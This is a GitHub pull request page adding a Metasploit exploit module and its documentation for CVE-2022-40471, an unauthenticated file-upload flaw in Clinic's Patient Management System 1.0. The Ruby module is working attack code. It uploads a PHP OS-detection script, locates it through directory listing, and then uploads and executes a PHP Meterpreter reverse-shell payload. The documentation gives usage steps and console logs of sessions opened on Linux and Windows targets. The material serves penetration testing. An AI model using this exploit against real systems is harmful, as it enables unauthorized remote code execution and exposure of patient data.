Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Exploit Module for CVE-2022-40471: Clinic's Patient Management System 1.0 - Unauthenticated RCE #19733

Merged
merged 7 commits into from
Dec 18, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
116 changes: 116 additions & 0 deletions documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
## Vulnerable Application
The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
a directory listing feature in `/pms/user_images`.
This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.

## Verification Steps

### Vulnerable Application Installation Setup
1. Install Clinic's Patient Management System 1.0 on your web server.
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
- For **Windows**
- [ ] Open your XAMPP Control Panel and start Apache and MySQL.
- [ ] Extract the downloaded source code zip file.
- [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory.
- [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin
- [ ] Create a new database naming `pms_db`.
- [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder.
- [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/

- For **Linux**
- [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql`
- [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y`
- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
- [ ] Extract the downloaded source code zip file into "/var/www/html" directory
- [ ] Next steps are similar to the ones for Windows, so follow that

2. Start `msfconsole` and load the exploit module:
```bash
msfconsole
use exploit/multi/http/clinic_pms_fileupload_rce
```

3. Set the required options:
```bash
set rport <port>
set rhost <ip>
set targeturi /pms
```

4. Check if the target is vulnerable:
```bash
check
```

If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
```
[+] <IP> The target is vulnerable.
```

5. Set up the listener for the exploit:
```bash
set lport <port>
set lhost <ip>
```

6. Launch the exploit:
```bash
exploit
```

7. If successful, you will receive a PHP Meterpreter shell.

## Options
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).


## Scenarios

### Clinic's Patient Management System on a Linux Target
```bash
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
[*] Checking if target is vulnerable...
[+] 127.0.0.1:80 - The target is vulnerable.

msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] Detected OS: linux
[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.
[*] Uploading PHP Meterpreter payload as zuX7FDRe.php...
[+] Payload uploaded successfully!
[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php...
[*] Sending stage (40004 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530

meterpreter > sysinfo
Computer : kali
OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
Meterpreter : php/linux
meterpreter >
```

### Clinic's Patient Management System on a Windows Target
```bash
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
[*] Checking if target is vulnerable...
[+] 192.168.1.103:80 - The target is vulnerable.

msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] Detected OS: winnt
[*] Target is Windows. Using standard PHP Meterpreter payload.
[*] Uploading PHP Meterpreter payload as lgTprVq5.php...
[+] Payload uploaded successfully!
[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php...
[*] Sending stage (40004 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530

meterpreter > sysinfo
Computer : DESKTOP-VE9J36K
OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```
248 changes: 248 additions & 0 deletions modules/exploits/multi/http/clinic_pms_fileupload_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,248 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in Clinic's
Patient Management System 1.0. An attacker can upload a PHP web shell and execute
it by leveraging directory listing enabled on the `/pms/user_images` directory.
},
'Author' => [
'Aaryan Golatkar', # Metasploit Module Developer
'Oğulcan Hami Gül', # Vulnerability discovery
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [
['Clinic Patient Management System 1.0', {}]
],
'DefaultTarget' => 0,
'References' => [
['EDB', '51779'],
['CVE', '2022-40471'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
],
'DisclosureDate' => '2022-10-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
])
end

def check
print_status('Checking if target is vulnerable...')

# Step 1: Retrieve PHPSESSID
vprint_status('Fetching PHPSESSID from the server...')
res_session = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'GET'
})

unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
return CheckCode::Unknown
end

phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
if phpsessid.nil?
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
return CheckCode::Unknown
else
phpsessid = phpsessid[1]
vprint_good("Obtained PHPSESSID: #{phpsessid}")
end

# Step 2: Attempt File Upload
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
dummy_content = Rex::Text.rand_text_alphanumeric(20)
dummy_name = Rex::Text.rand_text_alphanumeric(6)
post_data = Rex::MIME::Message.new
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')

vprint_status("Uploading dummy file #{dummy_filename}...")
res_upload = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'cookie' => "PHPSESSID=#{phpsessid}"
})

unless res_upload && res_upload.code == 302
print_error('File upload attempt failed. Target may not be vulnerable.')
return CheckCode::Safe
end
vprint_good('Dummy file uploaded successfully.')

# Step 3: Verify File in Directory Listing
vprint_status('Verifying uploaded file in /pms/user_images...')
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET',
'cookie' => "PHPSESSID=#{phpsessid}"
})

if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
CheckCode::Vulnerable
else
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
CheckCode::Unknown
end
end

def upload_shell
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
detection_filename = "#{detection_basename}.php"

# Step 1: Detect the OS
detection_script = <<~PHP
<?php
echo PHP_OS . "\\n";
?>
PHP

vprint_status("Uploading OS detection script as #{detection_filename}...")
post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
vprint_good('OS detection script uploaded successfully!')

# Step 2: Retrieve the actual uploaded filename
vprint_status('Retrieving directory listing to identify detection script...')
sleep datastore['LISTING_DELAY']

res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})

fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?

actual_detection_filename = match[1]
vprint_status("Detected script filename: #{actual_detection_filename}")

# Step 3: Execute the detection script
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
vprint_status("Executing OS detection script at #{detection_url}...")
res = send_request_cgi({
'uri' => detection_url,
'method' => 'GET'
})

fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
detected_os = res.body.strip.downcase
aaryan-11-x marked this conversation as resolved.
Show resolved Hide resolved
vprint_status("Detected OS: #{detected_os}")

# Step 4: Choose payload based on OS
if detected_os.include?('win')
payload_content = get_write_exec_payload
msutovsky-r7 marked this conversation as resolved.
Show resolved Hide resolved
print_status('Target is Windows. Using standard PHP Meterpreter payload.')
else
payload_content = get_write_exec_payload(unlink_self: true)
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
end

# Step 5: Upload the payload
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"

vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")

post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
print_good('Payload uploaded successfully!')

# Verify the presence of the uploaded file in the directory listing
vprint_status('Retrieving directory listing to confirm the uploaded payload...')
sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server

res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})

fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

# Search for the uploaded filename
match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?

actual_filename = match[1]
vprint_good("Verified payload presence: #{actual_filename}")
register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
actual_filename
end

def exploit
# Upload the shell and retrieve its filename
uploaded_filename = upload_shell

# Construct the URL for the uploaded shell
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
print_status("Executing the uploaded shell at #{shell_url}...")

# Execute the uploaded shell
send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
end
end
Loading